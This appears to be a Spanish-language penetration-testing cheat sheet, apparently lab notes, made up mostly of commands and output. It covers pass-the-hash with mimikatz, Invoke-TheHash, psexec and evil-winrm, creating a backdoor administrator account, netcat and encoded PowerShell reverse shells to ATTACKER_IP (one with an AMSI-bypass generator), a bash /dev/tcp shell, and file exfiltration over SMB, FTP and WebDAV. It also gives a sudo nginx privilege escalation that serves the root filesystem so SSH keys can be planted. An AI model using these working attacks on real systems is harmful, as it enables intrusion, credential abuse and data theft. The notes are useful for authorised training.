IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1HNh
❯ echo <base64> | base64 -d -w 0 > hosts
64F12CDDAA88057E06A81B54E73B949B
.\mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:gzzcoo.htb /run:cmd.exe" exit
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain gzzcoo.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
.\nc.exe -lvnp 8001
Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain gzzcoo.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
gzzcoo@htb[/nobody]$ impacket-psexec administrator@10.10.10.10 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.10.10.10.....
[*] Creating service AdzX on 10.10.10.10.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
nxc smb 172.16.1.0/24 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -d .
nxc smb 10.10.10.10 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -d . -x whoami
evil-winrm -i 10.10.10.10 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129
nxc smb 192.168.134.129 -u 'user' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129
Los binarios de Living off the Land pueden usarse para realizar funciones como:
Download
Upload
Command Execution
File Read
File Write
Bypoasses
Para buscar funciones de Download y Upload en LOLBAS podemos utilizar /download
o /upload
.
Desde nuestro equipo atacante, deberemos de disponer del binario nc.exe. Lo compartiremos al equipo víctima a través de un servidor web o SMB. Una vez subido el binario en una ruta, nos otorgaremos una Reverse Shell con nc.exe.
# Víctima
.\nc.exe -e cmd <ATTACKER_IP> 443
# Atacante
nc -nlvp 443
También podemos disponer del binario de nc.exe en nuestro servidor SMB y ejecutar el binario para otorgarnos una Reverse Shell accediendo al mismo recuso compartido desde el equipo víctima.
# Atacante (Kali)
rlwrap -cAr nc -nlvp 443
impacket-smbserver smbFolder $(pwd) -smb2support
# Vítima (Windows)
\\<ATTACKER_IP>\smbFolder\nc.exe -e cmd <ATTACKER_IP> 443
Invoke-PowerShellTcp.ps1
# Renombrar el archivo a 'rev.ps1', y añadir al final del archivo la siguiente línea
Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER_IP> -Port 443
# Nos ponemos en escucha por el puerto indicado.
rlwrap -cAr nc -nlvp 443
# Compartimos el archivo a través de un servidor web.
python3 -m http.server 80
# Para mayor seguridad, codificamos desde Kali el comando que deberá ejecutar la víctima en Base64 de Windows.
echo 'IEX(New-Object Net.WebClient).downloadString("http://<ATTACKER_IP>/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
# Desde el equipo de la víctima, se ejecuta el siguiente comando con el código en Base64 generado.
powershell -e <BASE64_CODE>
Desde la siguiente página, podemos generar diferentes tipos de Reverse Shell. El más recomendado en el caso de Windows, es el de PowerShell Base64.
Estableceremos nuestra dirección IP y el puerto donde estaremos en escucha. Del resultado generado, es el comando que deberá ejecutar la víctima.
Proceso para ejecutar la Reverse Shell de revshells.
# Desde la máquina atacante en Kali nos ponemos en escucha
rlwrap -cAr nc -nlvp 443
# Desde la máquina víctima ejecutamos la Reverse Shell
powershell -e <BASE64_CODE>
Generates an obfuscated PowerShell
reverse shell payload based on original Nishang Reverse shell PS oneliner.
python3 BypassAMSI_PSRevshell.py revshell -i <Attacker-IP> -p <listening-port>
For example:
❯ python3 BypassAMSI_PSRevshell.py revshell -i 10.10.10.10 -p 4444
Will generate the payload:
powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADAALgAxADAAJwAsADQANAA0ADQAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==
This option will create a payload file, by default named revshell.ps1
(which is the obfuscated payload from revshell
command written into a file), and expose it into a temporal HTTP server (by default on port 8000
, which can be changed as well). The script will then generate an encoded payload that will request the file to the temporal server, executes it and triggers the reverse shell.
python3 BypassAMSI_PSRevshell.py server -i <Attacker-IP> -p <listening-port>
For example:
❯ python3 BypassAMSI_PSRevshell.py server -i 10.10.10.10 -p 4444 --server-port 9000
Will generate the payload:
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMAAuADEAMAA6ADkAMAAwADAALwByAGUAdgBzAGgAZQBsAGwALgBwAHMAMQAiACkA
Executing it on the victim machine will make a request to the HTTP server exposed and the payload file.
Durante una auditoría, muchas veces tenemos acceso a información sensible como listas de usuarios, credenciales (por ejemplo, al descargar el archivo NTDS.dit para crackeo offline), datos de enumeración que revelan detalles clave de la infraestructura de red o del entorno de Active Directory, entre otros. Por eso, es fundamental cifrar esa información o usar conexiones seguras como SSH, SFTP o HTTPS siempre que sea posible.
Sin embargo, a veces no tenemos acceso a esos canales cifrados y toca buscar otra forma de proteger los datos. En esos casos, cifrar los archivos antes de transferirlos es una buena práctica para evitar que puedan ser leídos si son interceptados.
Se pueden usar muchos métodos diferentes para cifrar archivos e información en sistemas Windows. Uno de los más sencillos es el script de PowerShell Invoke-AESEncryption.ps1. Este script es pequeño y permite cifrar archivos y cadenas.
Se pueden usar muchos métodos diferentes para cifrar archivos e información en sistemas Windows. Uno de los más sencillos es el script de PowerShell Invoke-AESEncryption.ps1. Este script es pequeño y permite cifrar archivos y cadenas.
<#
.SYNOPSIS
Encryptes or Decrypts Strings or Byte-Arrays with AES
.DESCRIPTION
Takes a String or File and a Key and encrypts or decrypts it with AES256 (CBC)
.PARAMETER Mode
Encryption or Decryption Mode
.PARAMETER Key
Key used to encrypt or decrypt
.PARAMETER Text
String value to encrypt or decrypt
.PARAMETER Path
Filepath for file to encrypt or decrypt
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"
Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded cipher text.
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin
Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin.aes
Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param
(
[Parameter(Mandatory = $true)]
[ValidateSet('Encrypt', 'Decrypt')]
[String]$Mode,
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path
)
Begin {
$shaManaged = New-Object System.Security.Cryptography.SHA256Managed
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
}
Process {
$aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
switch ($Mode) {
'Encrypt' {
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".aes"
}
$encryptor = $aesManaged.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File encrypted to $outPath"
}
}
'Decrypt' {
if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName -replace ".aes"
}
$aesManaged.IV = $cipherBytes[0..15]
$decryptor = $aesManaged.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
$aesManaged.Dispose()
if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File decrypted to $outPath"
}
}
}
}
End {
$shaManaged.Dispose()
$aesManaged.Dispose()
}
}
Podemos usar cualquiera de los métodos de transferencia de archivos mostrados anteriormente para transferir este archivo al host de destino. Una vez transferido el script, solo es necesario importarlo como módulo, como se muestra a continuación.
PS C:\gzzcoo> Import-Module .\Invoke-AESEncryption.ps1
PS C:\gzzcoo> IEX(New-Object Net.WebClient).downloadString("https://gist.githubusercontent.com/ddumicz/909d98a0e794a42326d5fcd6d9f2c4ad/raw/dc5419b9702015bb6652a07e46743b3554c05e2f/Invoke-AESEncryption.ps1")
Tras importar el script, este puede cifrar cadenas o archivos, como se muestra en los siguientes ejemplos. Este comando crea un archivo cifrado con el mismo nombre que el archivo cifrado, pero con la extensión ".aes".
# Encriptación
PS C:\gzzcoo> Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
File encrypted to C:\gzzcoo\scan-results.txt.aes
PS C:\gzzcoo> ls
Directory: C:\gzzcoo
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/18/2020 12:17 AM 9734 Invoke-AESEncryption.ps1
-a---- 11/18/2020 12:19 PM 1724 scan-results.txt
-a---- 11/18/2020 12:20 PM 3448 scan-results.txt.aes
# Desencriptación
PS C:\gzzcoo> Invoke-AESEncryption -Mode Decrypt -Key "p4ssw0rd" -Path .\scan-results.txt.aes
Es fundamental utilizar contraseñas de cifrado muy seguras y únicas para cada empresa donde se realice una prueba de penetración. Esto evita que archivos e información confidenciales se descifren con una sola contraseña que podría haber sido filtrada y descifrada por un tercero.
# Kali Linux
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819 <file_name>
# PowerShell
╭╴at ~\Desktop
╰─ Get-FileHash C:\Users\gzzcoo\Desktop\shell.sh -Algorithm md5
Algorithm Hash Path
--------- ---- ----
MD5 E7F7D2522CC7FDEC3E6CC2C1E2F20819 C:\Users\gzzcoo\Desktop\shell.sh
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support
# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy \\<ATTACKER_IP>\smbFolder\archivo.txt C:\path\destination\archivo.txt
Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Windows.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123
copy x:\archivo.txt C:\path\destination\archivo.txt
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargamos el archivo con certutil.exe
certutil.exe -f -urlcache -split http:/<ATTACKER_IP>/archivo.txt C:\path\destination\archivo.txt
Disponemos de diversas maneras de realizar una transferencias de archivos hacía la máquina objetivo a través de PowerShell.
El servicio Background Intelligent Transfer Service (BITS) puede usarse para descargar archivos desde sitios HTTP o recursos compartidos SMB. Este servicio tiene la ventaja de que descarga los archivos de forma "inteligente", tomando en cuenta la carga de la red y del sistema para minimizar el impacto en el trabajo del usuario.
C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.x.x:8000/nc.exe C:\Users\gzzcoo\Desktop\nc.exe
PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.x.x:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo a través de cURL
curl http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
curl <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo con wget, si no especificamos -o, se descargará en el directorio actual
wget http://<ATTACKER_IP>/archivo.txt
wget http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
wget <ATTACKER_IP>/archivo.txt
wget <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
Otra forma de transferir archivos es mediante FTP (File Transfer Protocol), que utiliza los puertos TCP/21 y TCP/20. Podemos utilizar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP.
Podemos configurar un servidor FTP en nuestro host de ataque utilizando el módulo pyftpdlib de Python3. Se puede instalar con el siguiente comando:
sudo pip3 install pyftpdlib --break-system-packages
sudo python3 -m pyftpdlib --port 21
Una vez configurado el servidor FTP, podemos realizar transferencias de archivos utilizando el cliente FTP preinstalado desde Windows o PowerShell Net.WebClient.
PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://<ATTACKER_IP>/file.txt', 'C:\Users\Public\ftp-file.txt')
Create a Command File for the FTP Client and Download the Target File
╭╴at ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "binary" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "GET shell.sh" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "bye" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET shell.sh
ftp> bye
╭╴at ~\Desktop
╰─ cat .\shell.sh
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.37/443 0>&1"
JavaScript es un lenguaje de programación que permite implementar funciones complejas en páginas web. Al igual que con otros lenguajes de programación, podemos usarlo para muchas cosas diferentes.
El siguiente código JavaScript se basa en esta publicación y podemos descargar un archivo que lo utilice. Crearemos un archivo llamado wget.js
y guardaremos el siguiente contenido:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código JavaScript y descargar un archivo.
C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript ("Microsoft Visual Basic Scripting Edition") es un lenguaje Active Scripting desarrollado por Microsoft que sigue el modelo de Visual Basic. VBScript se ha instalado de forma predeterminada en todas las versiones de escritorio de Microsoft Windows desde Windows 98.
El siguiente ejemplo de VBScript se puede utilizar en base a esto. Crearemos un archivo llamado wget.vbs
y guardaremos el siguiente contenido:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código VBScript y descargar un archivo.
C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
Disponemos de diversas maneras de realizar una transferencias de archivos de la máquina objetivo hacía la nuestra a través de PowerShell.
SMB Server
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support
# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy C:\path\archivo.txt \\<ATTACKER_IP>\smbFolder\archivo.txt
Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Kali.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123
copy C:\path\archivo.txt x:\archivo.txt
WebDAV
Anteriormente discutimos que las empresas suelen permitir el tráfico saliente a través de los protocolos HTTP (TCP/80) y HTTPS (TCP/443). Normalmente, las empresas no permiten el protocolo SMB (TCP/445) fuera de su red interna, ya que esto podría exponerlas a posibles ataques. Para más información sobre esto, podemos leer la publicación de Microsoft Preventing SMB traffic from lateral connections and entering or leaving the network.
Una alternativa es ejecutar SMB sobre HTTP con WebDAV. WebDAV (RFC 4918) es una extensión de HTTP, el protocolo de Internet que utilizan los navegadores y servidores web para comunicarse entre sí. El protocolo WebDAV permite que un servidor web funcione como un servidor de archivos, admitiendo la creación colaborativa de contenido. WebDAV también puede usar HTTPS.
Cuando se usa SMB, primero intentará conectarse mediante el protocolo SMB y, si no encuentra un recurso compartido SMB disponible, intentará conectarse a través de HTTP. En la siguiente captura de Wireshark, intentamos conectarnos al recurso compartido testing3 y, como no encontró nada con SMB, utilizó HTTP.
1 - Configuring WebDav Server
Para configurar nuestro servidor WebDav, necesitamos instalar dos módulos de Python: wsgidav y cheroot (puedes leer más sobre esta implementación aquí: wsgidav GitHub). Después de instalarlos, ejecutamos la aplicación wsgidav en el directorio objetivo.
2 - Installing WebDav Python modules
sudo pip3 install wsgidav cheroot --break-system-packages
3 - Using the WebDav Python module
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
4 - Connecting to the Webdav Share
Ahora podemos intentar conectarnos al recurso compartido utilizando el directorio DavWWWRoot. Desde CMD.
C:\Users\gzzcoo\Desktop>dir \\192.168.134.128\DavWWWRoot
Volume in drive \\192.168.134.128\DavWWWRoot has no label.
Volume Serial Number is 0000-0000
Directory of \\192.168.134.128\DavWWWRoot
06/03/2025 02:44 <DIR> .
06/03/2025 02:44 <DIR> ..
06/03/2025 02:18 <DIR> tmp.h4ikej9g1U
Otro método desde PowerShell
.
╭╴at ~\Desktop
╰─ net use * http://192.168.134.128/ /user:anonymous ""
Comprobar que podemos listar la unidad que se nos ha asignado.
╭╴at ~\Desktop took 3s
╰─ dir Z:
Directory: Z:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 06/03/2025 2:18 tmp.h4ikej9g1U
d----- 06/03/2025 0:32 tmp.CfttO9JChM
5 - Uploading Files using SMB
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.134.129\DavWWWRoot\
╭╴at ~\Desktop
╰─ copy shell.sh Z:\
Subir archivos usando FTP es muy similar a descargar archivos. Podemos usar PowerShell o el cliente FTP para realizar la operación. Antes de iniciar nuestro servidor FTP utilizando el módulo de Python pyftpdlib, necesitamos especificar la opción --write para permitir que los clientes suban archivos a nuestro host de ataque.
sudo python3 -m pyftpdlib --port 21 --write
Ahora usemos la función de carga de PowerShell para subir un archivo a nuestro servidor FTP.
PowerShell Upload File
(New-Object Net.WebClient).UploadFile('ftp://192.168.134.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Create a Command File for the FTP Client to Upload a File
╭╴at ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "binary" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "PUT C:\Windows\System32\drivers\etc\hosts" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "bye" >> ftpcommand.txt
╭╴at ~\Desktop took 2s
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT C:\Windows\System32\drivers\etc\hosts
ftp> bye
Los binarios de Living off the Land pueden usarse para realizar funciones como:
Download
Upload
Command Execution
File Read
File Write
Bypoasses
Para buscar la función de descarga y carga en GTFOBins para binarios de Linux, podemos usar +file download o +file upload.
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker: https://github.com/linted/linuxprivchecker
El siguiente repositorio nos proporciona el siguiente script para crear una configuración en Nginx
maliciosa. El siguiente script realizará una configuración de Nginx
que habilite una página web por el puerto 1338
. Se indicará que el servidor tenga capacidad para realizar un listado de directorios (directory listing
) en el directorio raíz (/
), dado que el usuario que ejecuta Nginx es root
. Esto nos permitirá listar los archivos del sistema sin restricciones.
Además, se habilitará el método PUT
para que se puedan subir contenidos a través de la página web vulnerable que estamos montando. Una vez configurado, cargaremos la configuración del sitio web vulnerable.
#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1338;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
Le daremos permisos de ejecución al script realizado y a ejecutarlo para levantar el sitio web vulnerable.
user@test:/tmp$ chmod +x exploit.sh
user@test:/tmp$ ./exploit.sh
[+] Creating configuration...
[+] Loading configuration...
Accederemos al sitio web vulnerable http://<VICTIM_IP>:1338 y verificaremos que disponemos del acceso a listar los directorios del equipo desde la raíz /
.
Al verificar esto, si el servicio de SSH
se encuentra expuesto, el objetivo será crear en nuestra máquina atacante una clave pública que subiremos a través del método PUT
al servidor web vulnerable en la ruta /root/.ssh/authorized_keys
.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+
Mostraremos el contenido de la clave pública id_rsa.pub
que hemos generado en nuestra máquina y a través de la herramienta cURL
subiremos este contenido dentro del archivo authorized_keys
, esto con el objetivo de que nuestra clave pública se encuentre permitida en la máquina pública y nos podamos conectar como usuario root
sin proporcionar credenciales.
❯ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali
